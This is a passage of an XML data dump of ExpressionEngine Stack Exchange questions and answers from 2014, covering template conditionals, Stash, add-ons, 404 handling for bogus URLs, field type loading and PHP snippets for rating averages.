%Y&quot;}{/date_heading}&amp;lt;/time&amp;gt;&amp;lt;/h6&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;{if pp_related_papers:count == pp_related_papers:total_results}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{if pp_related_papers:no_results}No related entries{/if}&#xA;{/pp_related_papers}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- End Related Papers --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1650" LastEditorUserId="932" LastEditDate="2014-02-07T10:39:06.600" LastActivityDate="2014-10-28T20:36:05.723" Title="Conditionally display a relationships field if not empty (native relationships field)" Tags="|relationships|date-format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19204" PostTypeId="2" ParentId="19161" CreationDate="2014-02-07T10:33:29.140" Score="2" Body="&lt;p&gt;After some great support from the guys at Exp-resso I now know what's happening here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From Exp-resso:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;What's happening is that in Store v2 a 'cart' can take up an order ID even if they are not complete. So if someone is on the site and has started adding items to their cart but not yet checked out then this will reserve an order ID as it is still an active session. This is actually a feature rather than a bug as it means that people can come back to the site within 24 hours and carry on where they left off with their cart which is good for goal conversion completed checkouts. Technically this was still the case in Store v1 but carts did not always take up an order ID so they would appear more sequential.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no bug, but rather a new way of assigning cart ID's. Thanks Exp-resso for the quick replies/support.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2014-02-07T10:33:29.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19205" PostTypeId="1" CreationDate="2014-02-07T10:35:55.727" Score="2" ViewCount="109" Body="&lt;p&gt;This may seem like an easy question, but i have tried a number of things, none which work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use a custom modifier in Store to show a color, and this code needs to be in a template, but not every item needs the color input, only the entry which needs it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I wrap this in a conditional {if}{/if} so that it only appears when needed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;input:size=&quot;Color&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;  Green&#xA;  Yellow&#xA;&lt;/p&gt;&#xA;" OwnerUserId="1650" LastEditorUserId="28" LastEditDate="2014-02-07T22:08:33.953" LastActivityDate="2014-02-07T22:11:31.137" Title="Conditional input custom modifier with Expresso Store" Tags="|expresso-store|modifiers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19207" PostTypeId="1" AcceptedAnswerId="19209" CreationDate="2014-02-07T11:08:37.320" Score="1" ViewCount="260" Body="&lt;p&gt;Is it possible parse ExpressionEngine tags &lt;em&gt;inside&lt;/em&gt; the content of another tag?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot;}  &#xA;    {parseit {my_field}}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my_field should contain any expression engine tag, even embed if it's possible.&#xA;Maybe it's possibile using stash, but I can't got how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT, SECOND QUESTION, added allow_eecode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    require_once &quot;php.include/user_agent.inc.php&quot;;&#xA;?&amp;gt;&#xA;{embed=&quot;include/.head&quot;}&#xA;&#xA;{if segment_1 == &quot;&quot;}&#xA;    {exp:channel:entries channel=&quot;index&quot; limit=&quot;1&quot;} &#xA;        {exp:replace_plus find=&quot;index.php|.php|/app&quot; replace=&quot;{path='site_index'}||{path='site_index'}app/&quot; multiple=&quot;yes&quot;}&#xA;            {responsive_body_{language_code}}&#xA;        {/exp:replace_plus}&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&#xA;{exp:channel:entries channel=&quot;multi_version|responsive&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;    {if segment_1 != &quot;&quot;}&#xA;        {if no_results}&#xA;            {redirect=&quot;404&quot;}&#xA;        {/if}&#xA;    {/if}&#xA;    {exp:replace_plus find=&quot;index.php|.php|/app&quot; replace=&quot;{path='site_index'}||{path='site_index'}app/&quot; multiple=&quot;yes&quot;}&#xA;        {exp:switchee variable=&quot;{channel_name}&quot; parse=&quot;inward&quot;}&#xA;            {case value=&quot;responsive&quot;}&#xA;                {exp:allow_eecode embed=&quot;yes&quot;}&#xA;                    {responsive_body_{language_code}}&#xA;                {/exp:allow_eecode}&#xA;            {/case}&#xA;            {case value=&quot;multi_version&quot;}&#xA;                &amp;lt;?php&#xA;                    if(userAgent($_SERVER['HTTP_USER_AGENT']) == &quot;mobile&quot;){&#xA;                ?&amp;gt;&#xA;                        {mobile_body_{language_code}}&#xA;                &amp;lt;?php&#xA;                    } else{&#xA;                ?&amp;gt;&#xA;                        {normal_body_{language_code}}&#xA;                &amp;lt;?&#xA;                    }&#xA;                ?&amp;gt;&#xA;            {/case}&#xA;        {/exp:switchee}&#xA;    {/exp:replace_plus}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that's the code, a bit complicate, but it work in other parts. the problem is in case responsive, where you can see {exp:allow_eecode embed=&quot;yes&quot;}. in that field i have an embed like {embed=&quot;include/.newslist&quot;}&#xA;and in my .newslist template I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test {language_code}&#xA;&#xA;{exp:channel:entries channel=&quot;news&quot;}&#xA;    {news_title_{language_code}}&#xA;    test 2&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can see only &quot;test it&quot; in my responsive entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one news and it seems to be all fine. I can't got it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOLUTION:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;adding dynamic=&quot;off&quot; in embedded entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; dynamic=&quot;off&quot;}&#xA;    {news_title_{language_code}}&#xA;    test 2&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2719" LastEditorUserId="2719" LastEditDate="2014-02-10T11:11:01.350" LastActivityDate="2014-02-10T11:11:01.350" Title="How parse channel entry fields content" Tags="|stash|fields|parse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19208" PostTypeId="2" ParentId="19203" CreationDate="2014-02-07T11:15:03.847" Score="1" Body="&lt;p&gt;regarding second q, possible stash will help you&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;policy_papers&quot; status=&quot;open&quot; limit=&quot;10&quot;}&#xA; {pp_related_papers}&#xA;    {exp:stash:append name=&quot;related_papers&quot;}&#xA;    {if pp_related_papers:count == &quot;1&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=&quot;policy-papers/papers&quot;}/{pp_related_papers:url_title}&quot;&amp;gt;&amp;lt;h5&amp;gt;{pp_related_papers:title}&amp;lt;/h5&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;h6 class=&quot;entry-meta&quot;&amp;gt;by {pp_related_papers:pp_author_one} {if pp_related_papers:pp_author_two != &quot;&quot;}and {pp_related_papers:pp_author_two}{/if} | &amp;lt;time datetime=&quot;{entry_date format=&quot;%Y-%m-%dT%H:%i&quot;}&quot; pubdate&amp;gt;{date_heading}{entry_date format=&quot;%d %F %Y&quot;}{/date_heading}&amp;lt;/time&amp;gt;&amp;lt;/h6&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    {if pp_related_papers:count == pp_related_papers:total_results}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;    {if pp_related_papers:no_results}No related entries{/if}&#xA;     {/exp:stash:append}&#xA;{/pp_related_papers}   &#xA;{/exp:channel:entries}    &#xA;&#xA;{if {exp:stash:not_empty name=&quot;related_papers&quot;}}&#xA;&amp;lt;!-- Related Papers --&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;Related Papers&amp;lt;/h4&amp;gt;&amp;lt;hr&amp;gt;&#xA;            {exp:stash:get name=&quot;related_papers&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- End Related Papers --&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-07T15:50:24.033" LastActivityDate="2014-02-07T15:50:24.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19209" PostTypeId="2" ParentId="19207" CreationDate="2014-02-07T11:52:00.970" Score="2" Body="&lt;p&gt;You can try &lt;a href=&quot;http://devot-ee.com/add-ons/allow-ee-code&quot; rel=&quot;nofollow&quot;&gt;Allow EE Code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot;}  &#xA;    {exp:allow_eecode}&#xA;        {my_field}&#xA;    {/exp:allow_eecode}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-07T11:52:00.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19210" PostTypeId="2" ParentId="19202" CreationDate="2014-02-07T11:54:38.613" Score="1" Body="&lt;p&gt;Can you try rebuilding the Super Search Lexicon? (go to: SuperSearch &gt; Utilities).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling that Super Search only updates this if you add the entries through the Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="253" LastActivityDate="2014-02-07T11:54:38.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19211" PostTypeId="1" AcceptedAnswerId="19212" CreationDate="2014-02-07T12:43:26.013" Score="1" ViewCount="117" Body="&lt;p&gt;I am trying to load wygwam field type into a custom module, on my localhost the following works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(APPPATH . 'fieldtypes/EE_FieldType.php');&#xA;require_once(PATH_THIRD.'wygwam/ft.wygwam.php');&#xA;$wyg = new Wygwam_ft();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however when i upload to my server i get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(../system/expressionengine/fieldtypes/EE_fieldType.php): failed to open stream: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I dont know why thats happening. Is there a better way to load the wygwam Field type? or is there any other way to do this?&lt;/p&gt;&#xA;" OwnerUserId="619" LastActivityDate="2014-02-07T12:59:16.100" Title="Load EE Field Type in Third Party Module" Tags="|wygwam|module|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19212" PostTypeId="2" ParentId="19211" CreationDate="2014-02-07T12:59:16.100" Score="3" Body="&lt;p&gt;Looking carefully at your error message, you may have some incorrect capitalization of the EE_Fieldtype class file name. &lt;code&gt;EE_Fieldtype.php&lt;/code&gt; is the correct way (uppercase F, lowercase t). Likely your localhost is case insensitive but your server is not.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-02-07T12:59:16.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19213" PostTypeId="1" CreationDate="2014-02-07T13:53:36.100" Score="2" ViewCount="122" Body="&lt;p&gt;One of our clients is having a problem with Google indexing incorrect URL's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shop templates are using something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != &quot;&quot; AND segment_3 == &quot;&quot; AND segment_4 == &quot;&quot;}&#xA;    Parent Category List&#xA;    e.g. http://website.com/shop/parent/&#xA;{if:elseif segment_2 != &quot;&quot; AND segment_3 != &quot;&quot; AND segment_4 == &quot;&quot;}&#xA;    Child Category List&#xA;    e.g. http://website.com/shop/parent/child/&#xA;{if:elseif segment_2 != &quot;&quot; AND segment_3 != &quot;&quot; AND segment_4 != &quot;&quot;}&#xA;    Product&#xA;    e.g. http://website.com/shop/parent/child/product/&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, they are getting URL's such as...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://website.com/shop/product/product/&quot; rel=&quot;nofollow&quot;&gt;http://website.com/shop/product/product/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://website.com/shop/category_group/product/&quot; rel=&quot;nofollow&quot;&gt;http://website.com/shop/category_group/product/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://website.com/shop/parent/child/P568&quot; rel=&quot;nofollow&quot;&gt;http://website.com/shop/parent/child/P568&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://website.com/shop/gahhaiiuznyofiw.html/P171&quot; rel=&quot;nofollow&quot;&gt;http://website.com/shop/gahhaiiuznyofiw.html/P171&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://website.com/shop/product/cxdrclhujw.html/P216&quot; rel=&quot;nofollow&quot;&gt;http://website.com/shop/product/cxdrclhujw.html/P216&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://website.com/shop/P1130&quot; rel=&quot;nofollow&quot;&gt;http://website.com/shop/P1130&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which obviously don't exist and are picking up on the incorrect pagination amount etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would this happen, and how can this be stopped? E.g. how can we enable a 404 error for these kinds of pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I've been able to fix it is for EE to check if the segments are a valid category or product, and then throw a message such as &quot;No products found&quot; or &quot;Category doesn't exist&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I just don't know how it's finding and generating these weird URLs. Obviously the &quot;P1130&quot; exists because it's showing ALL products, but that page shouldn't be accessible.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-02-07T14:32:57.540" Title="Google indexing weird EE URL's" Tags="|conditionals|url|segments|google|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19214" PostTypeId="2" ParentId="19213" CreationDate="2014-02-07T14:08:16.390" Score="3" Body="&lt;p&gt;Try adding this within your channel:entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries ....}&#xA;  {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should trigger a 404 error on paginated pages that have no entries in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you install Mo' Variables, you can enable an &lt;code&gt;{if paginated}&lt;/code&gt; conditional for your templates. Then you can get a bit more specific and only trigger this 404 for paginated pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries ....}&#xA;  {if no_results}{if paginated}{redirect=&quot;404&quot;}{/if}{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastEditorUserId="617" LastEditDate="2014-02-07T14:32:57.540" LastActivityDate="2014-02-07T14:32:57.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19215" PostTypeId="1" CreationDate="2014-02-07T14:56:24.103" Score="0" ViewCount="76" Body="&lt;p&gt;I would like to have dynamic commas in a list of authors, so for example if there is only one author of an article it would show: AUTHOR. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if there was two or more authors, I would like to show a comma or an and bewteen each name like: AUTHOR ONE and AUTHOR TWO. Or in the example four authors: AUTHOR ONE, AUTHOR TWO, AUTHOR THREE and AUTHOR FOUR. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the 'and' and ',' in each example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm using pulls out the correct data, but I need to put in dynamic commas depending how many authors each article has. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h6 class=&quot;entry-meta&quot;&amp;gt;by {pp_author_one} {if pp_author_two != &quot;&quot;}, {pp_author_two}{/if} {if pp_author_three != &quot;&quot;}, {pp_author_three}{/if} {if pp_author_four != &quot;&quot;}and {pp_author_four}{/if} | &amp;lt;time datetime=&quot;{entry_date format=&quot;%Y-%m-%dT%H:%i&quot;}&quot; pubdate&amp;gt;{date_heading}{entry_date format=&quot;%d %F %Y&quot;}{/date_heading}&amp;lt;/time&amp;gt;&amp;lt;/h6&amp;gt;&amp;lt;hr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1650" LastActivityDate="2021-02-02T19:55:47.730" Title="Dynamic commas in author list" Tags="|dynamic|list|" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="19216" PostTypeId="2" ParentId="19030" CreationDate="2014-02-07T15:35:46.483" Score="1" Body="&lt;p&gt;Try &lt;code&gt;{if rating_no_results} ... {/if}&lt;/code&gt;, which is the &quot;no results&quot; conditional used in the other Rating tags. Looks like the &quot;comment&quot; part should be removed in the docs. &lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-02-09T16:17:59.530" LastActivityDate="2014-02-09T16:17:59.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19217" PostTypeId="2" ParentId="19027" CreationDate="2014-02-07T15:41:16.910" Score="0" Body="&lt;p&gt;Rating comments are stored in the exp_rating_reviews table. There is no moderation tools at this time, but we hope to add this in future releases.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-07T15:41:16.910" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19218" PostTypeId="2" ParentId="18958" CreationDate="2014-02-07T15:46:57.463" Score="0" Body="&lt;p&gt;I resolved using Matrix + Playa, although I'd have preferred to use native functions like Grid. Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; dynamic=&quot;no&quot;}&#xA;&#xA;{catalogue search:brand=&quot;{segment_2}&quot;}&#xA;&#xA;{brand}&#xA;&#xA;{brand_title}&#xA;&#xA;{/brand}&#xA;&#xA;{/catalogue}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where {catalogue} is a Matrix field and {brand} is a Playa field that catch the data from the &quot;brand channel&quot;. The dynamic=&quot;no&quot; allows me to show only filtered entries in www.mysite.com/catalogue/(name of brand) based on {segment_2}, otherwise the list would remain blank.&lt;/p&gt;&#xA;" OwnerUserId="2684" LastActivityDate="2014-02-07T15:46:57.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19219" PostTypeId="1" AcceptedAnswerId="19235" CreationDate="2014-02-07T15:54:29.533" Score="1" ViewCount="107" Body="&lt;p&gt;CartThrob's site demos and screenshots, unfortunately, don't go into much detail, so I'm turning to this for some answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible in CT to update the subscription renewal date on a customer's order after the fact?&lt;/p&gt;&#xA;" OwnerUserId="2720" LastActivityDate="2014-03-18T21:26:53.570" Title="CartThrob Customer Subscription Date Changes" Tags="|ee2|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19220" PostTypeId="2" ParentId="19189" CreationDate="2014-02-07T15:59:35.700" Score="4" Body="&lt;p&gt;There's a boatload of great resources on this topic. Here are a few recommendations to get you started: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Install the EE Debug Toolbar&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/ee-debug-toolbar&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/ee-debug-toolbar&lt;/a&gt;&lt;br&gt;&#xA;Adam's suggestion of enabling template debugging is a good one. This add-on is a great way to uncover potential issues. Be on the lookout for high query counts and process bottlenecks. There isn't a hard and fast rule for what's excessive, as it depends largely on the functionality and content structure of your particular site / page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make Sure You're Using Appropriate Caching Where Possible&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/optimization/caching.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/optimization/caching.html&lt;/a&gt;&lt;br&gt;&#xA;If you're relatively new to EE, this one is huge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Review the Answers for Related EE StackExchange Questions&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/13041463/whats-the-optimal-amount-of-queries-an-expressionengine-page-should-load&quot;&gt;https://stackoverflow.com/questions/13041463/whats-the-optimal-amount-of-queries-an-expressionengine-page-should-load&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/603/add-ons-and-front-end-performance&quot;&gt;Add-ons and front-end performance&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14203/what-are-the-recommended-ways-to-get-to-the-bottom-of-slow-load-times-in-ee&quot;&gt;What are the recommended ways to get to the bottom of slow load times in EE?&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do a Google Search for EE Performance&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.google.com/search?q=expressionengine.com+performance&amp;amp;oq=expressionengine.com+performance&amp;amp;aqs=chrome..69i57.4743j0j4&amp;amp;sourceid=chrome&amp;amp;espv=210&amp;amp;es_sm=119&amp;amp;ie=UTF-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.com/search?q=expressionengine.com+performance&amp;amp;oq=expressionengine.com+performance&amp;amp;aqs=chrome..69i57.4743j0j4&amp;amp;sourceid=chrome&amp;amp;espv=210&amp;amp;es_sm=119&amp;amp;ie=UTF-8&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Check Out Stash&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/stash&lt;/a&gt;&lt;br&gt;&#xA;There are a 101 uses for Stash, most of which will help keep your template code more dry and efficient. For starters, I'd recommend checking out Stash Variables, which are fairly simple to wrap your head around (some of the Stash concepts can get complex quickly) and can be super useful in a variety of situations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Give this Podcast on EE Performance a Listen&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://ctrlclickcast.com/episodes/ee-speed-optimization&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ctrlclickcast.com/episodes/ee-speed-optimization&lt;/a&gt;&lt;br&gt;&#xA;There are some great tips in here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make Sure the Non-EE Parts of Your Site are Optimized&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://developers.google.com/speed/pagespeed/insights/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://developers.google.com/speed/pagespeed/insights/&lt;/a&gt;&lt;br&gt;&#xA;If you haven't done so already, it might be worth running your site through Google's PageSpeed tool. Generally speaking, it's a good idea to make sure you're combining and minifying your JS and CSS assets, optimizing your images, and reducing the number of http requests wherever possible.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-02-07T15:59:35.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19221" PostTypeId="2" ParentId="18943" CreationDate="2014-02-07T16:01:24.537" Score="2" Body="&lt;p&gt;Rating doesn't have a feature for calculating an average of rating fields for a single &lt;strong&gt;&lt;em&gt;Rating&lt;/em&gt; entry&lt;/strong&gt; (only an average of all ratings, for all fields, for a &lt;strong&gt;&lt;em&gt;Channel&lt;/em&gt; entry&lt;/strong&gt; is possible using {overall_avg}). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to do this manually, through PHP or a plugin that specializes in calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your solution above would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_str:ing math_lite}({rating1}+{rating2}+{rating3}+{rating4})/4{/exp:ce_str:ing}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could do this with PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo (&quot;{rating1}&quot; + &quot;{rating2}&quot; + &quot;{rating3}&quot; + &quot;{rating4}&quot;)/4; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for displaying stars, you'll also have to do this manually. Here's an example using PHP. You might be able to use a plugin (or plugins) to do something similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rating_avg = (&quot;{rating1}&quot; + &quot;{rating2}&quot; + &quot;{rating3}&quot; + &quot;{rating4}&quot;)/4;&#xA;&#xA;for($i = 1; $i &amp;lt;= $rating_avg; $i++)&#xA;{&#xA;    echo 'Your full star image';&#xA;}&#xA;&#xA;$rounded_rating_avg = floor($rating_avg); // 4&#xA;$rating_avg_decimal = $rating_avg - $rounded_rating_avg; // eg. .75&#xA;&#xA;switch($rating_avg_decimal)&#xA;{&#xA;    case 0.25;&#xA;        echo 'Your quarter star image';&#xA;    break;&#xA;    case 0.50;&#xA;        echo 'Your half star image';&#xA;    break;&#xA;    case 0.75;&#xA;        echo 'Your 3/4 star image';&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important Note&lt;/strong&gt;: This is just an &lt;em&gt;example&lt;/em&gt;. You will have to think about and/or adapt this example to your own needs.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-07T16:01:24.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19222" PostTypeId="2" ParentId="19141" CreationDate="2014-02-07T16:10:16.200" Score="0" Body="&lt;p&gt;If you happen to be working with a db that has both, parsing php on output will allow you to make a mixed report work in either case. (Apologies for terrible php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query..&#xA;&#xA;&quot;item_qty&quot;: &quot;{item_qty}&quot;,&#xA;&quot;modifiers&quot;:&#xA;&amp;lt;?php&#xA;$str = '{modifiers}';&#xA;if ($str[0]!=&quot;Y&quot;)&#xA;    {echo $str;}&#xA;else&#xA;    {&#xA;        $str2 =  unserialize(base64_decode($str));&#xA;        $str3 = json_encode($str2);&#xA;        echo $str3;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1818" LastEditorUserId="55" LastEditDate="2014-02-07T16:11:47.770" LastActivityDate="2014-02-07T16:11:47.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
